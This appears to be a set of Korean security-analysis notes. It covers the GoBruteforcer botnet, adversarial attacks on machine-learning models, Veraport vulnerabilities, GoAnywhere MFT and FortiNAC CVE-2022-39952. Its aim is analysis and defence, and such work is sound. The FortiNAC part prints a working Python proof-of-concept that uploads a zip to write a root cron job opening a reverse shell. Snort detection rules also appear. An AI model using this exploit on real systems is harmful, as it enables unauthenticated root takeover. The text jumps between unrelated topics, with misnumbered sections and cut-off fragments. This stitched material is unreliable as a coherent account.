- 최근 고 언어 기반의 스캐너 고브루트포서(GoBruteforcer)라는 봇넷 멀웨어가 새롭게 발견
- FTP, MySQL, phpMyAdmin, Postgre 서비스를 제공하는 서버를 대상으로 함
- 스캔을 통해 열려 있는 포트들을 찾아내면, Bruteforce 통해 침투 후 IRC 봇 유포
2. 동작방식 [1]
- 특정 서비스(phpMyAdmin, MySQL, FTP, Postgres)를 제공하는 웹 서버를 대상으로 스캔 후 Bruteforce로 액세스 시도\
※ Postgres: 확장 가능성 및 표준 준수를 강조하는 객체-관계형 데이터베이스 관리 시스템
-Bruteforce를 위한 계정 정보 및 C2 서버와 통신을 위한 명령은 스캐너 내에 하드코딩 되어있음
① 80_phpMyAdmin, 21_FTP, 3306_MySQL, 5432_Postgres 포트가 열린 웹 서버를 스캔
② 해당 서버가 phpMyAdmin인지, 다른 서버인지 확인 후 Bruteforce 수행
③ 공격자가 제어하는 C2와 통신하기 위해 서버의 유형에따라 통신 수단이 다름
>phpMyAdmin: 피해 시스템에 IRC 봇 유포
IRC(Internet Relay Chat) 봇 - IRC(Internet Relay Chat) 실시간 채팅 프로토콜에서 작동하는 자동화된 소프트웨어 프로그램 - 일반적으로 프로그래밍 언어의 스크립트로 작성되며, 채팅방에서 입력된 명령어를 인식하고 해당 명령에 따라 프로그래밍 된 동작을 수행
> 타 서비스: 피해 시스템에 웹 쉘 업로드
2.1 네트워크 스캔
- 주어진 대상 IP 대역을 대상으로 phpMyAdmin, MySQL, FTP, Postgres 서비스 검색
2.1.1 phpMyAdmin 서비스
- 스캐너는 80 포트가 Open 되어있는지 확인
- 오픈된 포트를 찾은 경우 스캐너 내 하드코딩된 자격 증명 세트를 이용해 Bruteforce 수행
- 접속 성공 후 IRC 봇 배포 및 C2와 통신을 수행
> IRC 봇은 주기적인 실행을 위해 cron 등록
2.2.2 MySQL, Postgres 서비스
- 스캐너는 3306, 5432 포트가 Open 되어있는지 확인
- 오픈된 포트를 찾은 경우 서버 데이터베이스에 특정 사용자 계정으로 ping을 보냄
- 이후, PostResult 모듈을 호출해 C2 서버와 통신
2.2.3 FTP
-스캐너는 21 포트가 Open 되어있는지 확인
- 오픈된 포트를 찾은 경우 Golang용 FTP 클라이언트 패키지의 goftp라이브러리를 사용하여 서버에 인증 시도
③ 사례3: 데이터 암복호화에 사용가능한 파이썬 스크립트 블로피시(Blowfish)와 투피시(Twofish) 개발
2.1 적대적 공격 (Adversarial Attack)
- 적대적 공격: 딥 러닝의 심층 신경망을 이용한 모델에 적대적 교란(Adversarial Pertubation)을 적용하여 오분류를 유발하고 신뢰도 감소를 야기하는 머신러닝 공격 기법
- 공격 목적
- 신뢰도 감소: 모델에 대한 예측 신뢰도를 감소 - 오분류: 집단 A를 B, C, D, E 등 다른 집단으로 오분류 ex. STOP 표지판을 GO 또는 SLOW 등으로 오분류 - 출력 오분류: 집단 B, C, D, E 등을 하나의 집단 A로 오분류 ex. STOP 또는 SLOW 표지판을 GO로 오분류 - 입력 및 출력 오분류: 집단 A를 집단 B로 오분류 ex. STOP 표지판을 GO로 분류
① Poisoning attack (중독 공격, 오염 공격)
> 데이터셋에 악성 데이터를 삽입하는 것과 같이 의도적으로 악의적인 학습 데이터를 주입해 시스템 자체를 손상시키는 공격
> 모델 자체를 공격해서 모델에게 영향을 줌
> 예시: MS 인공지능 채팅봇 테이(Tay)
- 2016년 MS는 인공지능 채팅봇 테이(Tay) 공개 - 악의적인 발언을 하도록 훈련시켜 차별적 발언을 남발 - 16시간 만에 서비스 중지
② Evasion attack (회피 공격)
> 입력 데이터에 최소한의 변조를 가해 머신러닝을 속이는 기법
> 인간의 눈으로 식별하기 어려운 노이즈 데이터를 삽입하여 변조
> 예시: 2016년 테슬라 원격 주행 자동차가 해킹
- 2016년 테슬라 원격 주행 자동차가 해킹으로 원격조종 영상 공개 - 2017년 워싱턴대학의 연구팀의 증명 - 도로 교통 표지판에 스티커 부착만으로 자율주행차의 표지판 인식 모듈이 ‘정지’ 표시를 ‘속도제한’ 표시로 오인식
③ Inversion attack (전도 공격, 학습 데이터 추출 공격)
> 데이터 분류를 위한 머신러닝은 주어진 입력에 대한 분류 결과와 신뢰도를 함께 출력
> 주어진 입력에 대해 출력되는 분류 결과와 신뢰도(Confidence)를 분석하여 역으로 데이터를 추출
> 예시: 2021년 6월 애플, 구글, 하버드대학, 스탠포드대학 등의 공동 논문
- 인공지능 모델을 훈련시키는 데이터를 추출하여 개인 식별 정보 등 민감 정보를 빼내는 데 성공 - 당시 실험에 사용되던 모델은 GPT2로 챗GPT보다 한 단계 전의 모델
④ Model extraction attack (모델 추출 공격)
> 공개된 API가 있는 학습 모델의 정보를 추출하는 공격 기법
> 기존 모델이 어떻게 이루어져 있는지 알 수 없지만 API를 통해 얻어진 정보로 기능적으로 비슷한 모델을 구현
> 설치가 안되었을 경우 downloadURL, backupURL 항목을 사용해 설치파일 다운
④ 베라포트의 사용자 인터페이스를 통해 해당 파일 다운로드
> type 설정 매개변수에 의해 "관리(manage)모드"와 "일반(normal)모드"로 나뉘어짐
2. 취약점
- 취약점 요약
① 서명 유효성 검사에 사용되는 루트 인증서 중 하나는 MD5 해싱과 1024비트 RAS키 사용 > 지원 중단이 10년 넘음. ② 다운로드를 위한 연결에 HTTPS를 강제하지 않으며 HTTPS가 사용될 때도 서버 인증서를 검증하지 않음 ③ 다운로드한 파일의 무결성을 올바르게 검증하지 않음 > 애플리케이션 서명 유효성 검사를 쉽게 우회할 수 있음 ④ 무결성 검증을 쉽게 우회할 수 없더라도 베라포트는 손상된 바이너리를 사용할 지 여부를 사용자 결정에 의존 ⑤ 사용자의 선택이나 기타 피드백 없이 애플리케이션을 다운로드하고 설치하는 동작을 시작할 수 있음 ⑥ 웹사이트에서 소프트웨어를 배포하며, 이미 알려진 보안 문제가 있는 오래된 애플리케이션을 제공 ⑦ 공개적으로 유출된 서명인증서나 악의적인 정책파일을 철회할 수 있는 장치가 없음 ⑧ hxxps://127.0.0.1:16106에서 동작하는 베라포트의 로컬 웹서버에는 영구적 XSS 을 비롯한 여러 보안취약점이 존재
2.1 전송 데이터 보호 부족 문제
- HTTPS 연결을 강제하지 않음 > 모든 다운로드는 암호화되지 않은 HTTP 연결을 통해 다운로드
- HTTPS 연결 테스트시 서버의 정당성을 확인하지 않음 > 악성 서버가 hxxps://download.example로 가장한 경우에도 베라포트는 다운로드를 수행
※ 두 번째 이유는 잘 모르겠음
HTTPS Handshaking 과정 중 Server Hello 패킷을 통해 서버의 SSL 인증서를 전송하며, 클라이언트는 이를 검증
공격자가 애초에 SSL 인증서를 사용해 악성 사이트로 가장한 경우에대한 검증인지
혹은 다른 무엇이 있는지에 대한 의문
2.2 신뢰 도메인 범위 문제
- 'allowedDomains'에 표시된 URL을 신뢰
> 1.1 동작방식 ②에서는 *.citibank.co.kr를 신뢰 도메인으로 지정
> *.citibank.co.kr는 citibank.co.kr의 모든 하위 도메인을 신뢰한다는 의미
> 서브 도메인 탈취, 웹 사이트 해킹 등으로 악성 사이트를 만들 수 있으며, 악성 파일 유포가 가능해짐
- 정책 파일에는 다운로드에 대한 해시 기반 검증 옵션이 있음 > 모든 웹사이트에서 이 기능은 사용되지 않음
> 2.2 신뢰도메인 문제를 악용해 공격자가 조작하는 웹 사이트에서 파일 다운로드 및 실행이 가능함
<hashCheck>ignore</hashCheck>
2.5 정보 유출 문제
- 베라포트 서버에서 지원하는 명령 중 'checkProcess' 명령이 있음
> 애플리케이션 이름을 넘겨주면 현재 실행 중인 경우 프로세스에 대한 정보를 반환
> 아래와 같이 애플리케이션 이름으로 *를 입력하면 사용자가 어떤 애플리케이션을 실행하고 있는지알 수 있음
> getPreDownInfo 명령을 통한 접근도 가능
let processes = send_command("checkProcess", "*");
2.6 HTTP 응답 분할 문제
- HTTP 응답을 생성하는 모든 라이브러리들이 헤더 이름이나 값에서 줄바꿈 문자를 금지한 후 거의 사라진 취약성 종류
> Veraport는 그러한 라이브러리를 사용하지 않으며, 이를 통한 XSS 공격이 가능함
3. 조치
- 블라디미르 팔란트
> 2023년 02월 22일 KrCERT에 보고 및 같은 날 KrCERT가 위즈베라에 전달
- 위즈베라
> 2월 28일 Veraport 3.8.6.5 출시
> 해당 버전의 경우 제보한 취약점이 수정된 것으로 확인됨
① HTTPS 연결에 대해 서버 유효성 검사 ② HTTP 다운로드를 HTTPS로 업그레이드 하여 신뢰할 수 없는 네트워크가 더 이상 설치를 조작할 수 없게함 ③ 애플리케이션에 대한 설명을 변경할 수 없음 ④ XSS 취약점은 베라포트의 로컬 서버에서 제거 및 JSONP 엔드포인트는 콜백 이름을 허용된 문자 집합으로 제한 ⑤ OpenSSL은 Veraport 3.8.6.5에서 버전 1.1.1t로 업데이트 등
3.1 남은 문제들
① 2023.03.01 기준 일부 은행 사이트에서만 최신 베라포트(버전 3.8.6.4) 지원
② checkProcess는 2021.10.29 패치되었지만, getPreDownInfo 명령을 통한 접근은 최신 버전에서도 사용 가능
③ mongoose 5.5 라이브러리를 로컬 웹 서버에 사용 > 업그레이드되고 있지 않는 라이브러리
※ mongoose: 몽고DB와 Express.js 웹 애플리케이션 프레임워크 간 연결을 생성하는 자바스크립트 객체 지향 프로그래밍 라이브러리
④ 임의의 애플리케이션을 강제로 설치할 수 있는 권한이 있음 ⑤ 오래된 루트 인증서(1024비트, MD5)가 애플리케이션에 여전히 존재함 등
- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행
> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함
② 추가 대응
- 벤더사에서는 2가지 완화 방안을 제공
> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인
> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집
3.2 네트워크 측면
- 보안 장비에 탐지 패턴 적용
alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)
- 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션
2. 취약점
- 인증되지 않은 공격자가 시스템에 임의 파일을 작성하고 root 권한으로 원격 코드를 실행할 수 있는 취약점
- Fortinet 보안팀에서 제일 먼저 발견
영향받는 버전 - FortiNAC 버전 9.4.0 - FortiNAC 버전 9.2.0 ~ 9.2.5 - FortiNAC 버전 9.1.0 ~ 9.1.7 - FortiNAC 8.8 모든 버전 - FortiNAC 8.7 모든 버전 - FortiNAC 8.6 모든 버전 - FortiNAC 8.5 모든 버전 - FortiNAC 8.3 모든 버전
2.1 분석 [6]
- 취약점은 keyUpload.jsp에서 발생
- 해당 파일의 내용을 확인하면 key 매개 변수에 파일을 제공하는 요청을 분석하는데 검증을 수행하지 않는 것으로 판단됨.
- 요청에서 key 매개변수가 확인되면, /bsc/campusMgr/config.applianceKey에 추가
- Runtime.exec("~") (= rtKey.exec("~"))로 /bsc/campusMgr/bin/configApplianceXml에 있는 bash 스크립트를 실행
- bash 스크립트는 root 디렉터리로 이동(cd /) 후 작성된 파일의(공격자 파일) 압축을 해제(unzip -o)
- 결론적으로, bash 스크립트에 의해 작업 디렉터리는 / 이므로 공격자는 임의의 파일을 쓸 수 있게 됨
2.2 PoC [5]
- PoC를 확인해보면 총 2가지로 이루어져 있음
① 공격을 위한 파일 생성
② 업로드한 공격 파일 업로드
- 공격자는 payload파일의 내용을 /etc/cron.d/payload에 cron 작업으로 작성
> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)
> FortiNAC 버전 9.4.1 이상 >FortiNAC 버전 9.2.6 이상 >FortiNAC 버전 9.1.8 이상 >FortiNAC 버전 7.2.0 이상
- 패치 버전을 확인해보면 keyUpload.jsp를 삭제한 것으로 판단됨
② /bsc/logs/output.master 로그 확인
- 공격자가 해당 로그를 삭제하지 않는 한 로그를 통해 확인 가능
tail -f /bsc/logs/output.master
③ cron 확인
- cron을 사용하는 경우 페이로드 파일에 적절한 사용 권한과 소유자가 있는지 확인 후 조치
3.2 네트워크 측면
① 탐지 정책 적용 및 모니터링
alert tcp any any -> any any (msg:"FortiNAC HTTP Request RCE (CVE-2022-39952)"; content:"/configWizard/keyUpload.jsp";flow:to_server,established;fast_pattern:only;http_uri; content:"name=|22|key|22|"; nocase;http_client_body; content:"filename="; nocase;)